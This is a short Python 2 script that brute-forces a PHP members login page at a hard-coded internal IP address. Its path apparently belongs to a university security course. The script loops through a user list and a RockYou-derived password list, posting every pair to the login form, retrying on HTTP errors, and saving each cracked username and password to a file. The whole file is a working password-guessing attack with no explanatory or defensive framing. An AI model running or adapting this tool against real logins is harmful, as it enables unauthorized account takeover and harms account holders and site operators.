import urllib2, urllib, cookielib, sys, time

def main():
    count = int(sys.argv[1]) + 126
    lower = int(sys.argv[2])
    upper = int(sys.argv[3])
    log = open('log/log'+str(count)+'.txt','a')
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

    with open('rockyou2.txt', 'r') as f:
        passwords = f.readlines()
    passwords = map(lambda x: x.strip('\n'), passwords)
    # names = ['j1']
    # passwords = ['j']
    with open('users2.txt', 'r') as f:
        users = f.readlines()
    users = map(lambda x: x.strip('\n'), users)

    url = "http://128.10.126.25/cs526private/members.php?"
    # url = "http://128.10.126.25/~reese5/cs526/members.php?"
    for user in users[lower:upper]:
        print('starting'+repr(user)+'...')
        log.write('starting'+repr(user)+'...\n')
        log.flush()
        i = 5075001
        for pwd in passwords:
            if i%5000 == 0:
                log.write('checked '+str(i)+' passwords\n')
                log.flush()
            # print user, pwd
            data = urllib.urlencode({'username': user, 'password': pwd, 'submit': 'Login'})
            # req = urllib2.Request(url, data)
            while True:
                try:
                    request = opener.open(url, data)
                    break
                except urllib2.HTTPError, e:
                    log.write('HTTP error: '+str(e.code)+'\n')
                    log.flush()
                    time.sleep(2)
                    continue
                except urllib2.URLError, e:
                    log.write('URL error: '+str(e.reason)+'\n')
                    log.flush()
                    time.sleep(2)
                    continue
            page = request.read()
            time.sleep(0.02)

            i+=1
            if len(page) <= 0:
                with open('error'+str(count)+'.txt','w') as f:
                    f.write(user+'\t'+pwd+'\n')
                continue
            if page[-1] != '.':
                count += 1
                log.write(repr(user)+' '+repr(pwd)+'\n')
                log.flush()
                with open('crack/crack'+str(count)+'.txt','w') as f:
                    f.write(repr(user)+' '+repr(pwd)+'\n')
                break

if __name__ == '__main__':
    main()
